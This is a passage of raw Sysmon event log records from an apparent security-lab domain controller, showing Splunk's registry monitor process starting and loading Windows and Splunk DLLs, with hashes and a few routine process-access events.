CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.734{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.733{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.726{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.726{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.725{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.725{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.724{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.724{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.724{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.724{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.724{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.724{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.724{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.724{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.723{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.723{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.723{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054966Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.723{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054965Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.723{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054964Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.723{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054963Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.722{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054962Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.722{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054961Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.722{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054960Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.722{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054959Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.722{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054958Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.722{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054957Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.722{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054956Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.722{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054955Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.721{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000054954Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.721{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000054953Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.720{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.719{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.719{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.718{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.718{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000054948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.718{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.718{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.718{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.717{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.717{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.717{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:20.716{7BD73061-7430-613B-930B-00000000F001}6084C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT 